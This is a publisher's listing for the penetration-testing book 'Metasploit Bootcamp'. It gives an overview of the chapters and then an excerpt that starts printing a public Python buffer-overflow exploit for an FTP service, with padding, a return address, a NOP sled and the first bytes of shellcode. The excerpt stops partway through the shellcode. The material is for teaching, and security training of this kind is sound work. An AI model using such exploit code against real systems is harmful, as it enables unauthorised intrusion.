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Metasploit Bootcamp

By : Nipun Jaswal
Book Image

Metasploit Bootcamp

By: Nipun Jaswal

Overview of this book

The book starts with a hands-on Day 1 chapter, covering the basics of the Metasploit framework and preparing the readers for a self-completion exercise at the end of every chapter. The Day 2 chapter dives deep into the use of scanning and fingerprinting services with Metasploit while helping the readers to modify existing modules according to their needs. Following on from the previous chapter, Day 3 will focus on exploiting various types of service and client-side exploitation while Day 4 will focus on post-exploitation, and writing quick scripts that helps with gathering the required information from the exploited systems. The Day 5 chapter presents the reader with the techniques involved in scanning and exploiting various services, such as databases, mobile devices, and VOIP. The Day 6 chapter prepares the reader to speed up and integrate Metasploit with leading industry tools for penetration testing. Finally, Day 7 brings in sophisticated attack vectors and challenges based on the user’s preparation over the past six days and ends with a Metasploit challenge to solve.
Table of Contents (15 chapters)
Title Page
About the Author
About the Reviewer
Customer Feedback

Converting exploits to Metasploit

In the upcoming example, we will see how we can import an exploit written in Python to Metasploit. The publicly available exploit can be downloaded from Let us analyze the exploit as follows:

import socket as s
from sys import argv
host = ""
fuser = "anonymous"
fpass = "anonymous"
junk = '\x41' * 2008
espaddress = '\x72\x93\xab\x71'
nops = '\x90' * 10
shellcode= ("\xba\x1c\xb4\xa5\xac\xda\xda\xd9\x74\x24\xf4\x5b\x29\xc9\xb1"